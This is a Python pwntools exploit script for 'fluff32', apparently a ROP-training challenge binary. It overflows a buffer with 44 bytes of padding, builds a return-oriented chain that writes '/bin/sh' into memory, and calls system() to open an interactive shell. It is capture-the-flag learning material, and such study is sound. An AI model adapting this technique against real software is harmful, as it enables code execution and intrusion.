fluff32

fluff32-exploit.py

#!/usr/bin/env python
from pwn import *

context(os="linux", arch="i386")
# context.log_level = 'debug'

def main():
    conn = process("./fluff32")

    system      = 0x8048430
    bss_addr    = 0x804a040 + 0x10

    pop_ebx     = 0x080483e1 # pop ebx ; ret

    xor_edx_edx = 0x8048671 # xor    edx,edx
                            # pop    esi
                            # mov    ebp,0xcafebabe
                            # ret

    xor_edx_ebx = 0x804867b # xor    edx,ebx
                            # pop    ebp
                            # mov    edi,0xdeadbabe
                            # ret

    xchg_edx_ecx = 0x8048689 # xchg   edx,ecx
                             # pop    ebp
                             # mov    edx,0xdefaced0
                             # ret

    mov_ecx_edx  = 0x8048692 # pop    edi
                             # mov    DWORD PTR [ecx],edx
                             # pop    ebp
                             # pop    ebx
                             # xor    BYTE PTR [ecx],bl
                             # ret

    # ROP Chain
    payload = ""
    payload += "A" * 44


    # make bss_addr
    payload += p32(pop_ebx)  # ebx = bss_addr
    payload += p32(bss_addr)

    payload += p32(xor_edx_edx)  # edx = 0
    payload += "A" * 4  # padding

    payload += p32(xor_edx_ebx)  # edx ^ ebx (edx = ebx)
    payload += "A" * 4  # padding

    payload += p32(xchg_edx_ecx)
    payload += "A" * 4  # padding

    # make /bin
    payload += p32(pop_ebx)  # ebx = /bin
    payload += "/bin"

    payload += p32(xor_edx_edx)  # edx = 0
    payload += "A" * 4  # padding

    payload += p32(xor_edx_ebx)  # edx ^ ebx (edx = ebx)
    payload += "A" * 4  # padding

    # insert
    payload += p32(mov_ecx_edx)  # ecx(bss_addr) = edx(/bin)
    payload += "A" * 4  # padding
    payload += "A" * 4  # padding
    payload += p32(0x00)  # ebx is 0 because extra instruction(xor  BYTE PTR [ecx], bl)

    # make bss_addr
    payload += p32(pop_ebx)  # ebx = bss_addr
    payload += p32(bss_addr + 4)

    payload += p32(xor_edx_edx)  # edx = 0
    payload += "A" * 4  # padding

    payload += p32(xor_edx_ebx)  # edx ^ ebx (edx = ebx)
    payload += "A" * 4  # padding

    payload += p32(xchg_edx_ecx)
    payload += "A" * 4  # padding

    # make /sh\x00
    payload += p32(pop_ebx)  # ebx = /bin
    payload += "/sh\x00"

    payload += p32(xor_edx_edx)  # edx = 0
    payload += "A" * 4  # padding

    payload += p32(xor_edx_ebx)  # edx ^ ebx (edx = ebx)
    payload += "A" * 4  # padding

    # insert
    payload += p32(mov_ecx_edx)  # ecx(bss_addr) = edx(/sh\x00)
    payload += "A" * 4  # padding
    payload += "A" * 4  # padding
    payload += p32(0x00)  # ebx is 0 because extra instruction(xor  BYTE PTR [ecx], bl)

    # system
    payload += p32(system)
    payload += "A" * 4  # padding
    payload += p32(bss_addr)  # buffer

    print conn.recv(100)

    conn.send(payload)
    conn.interactive()


if __name__ == "__main__":
    main()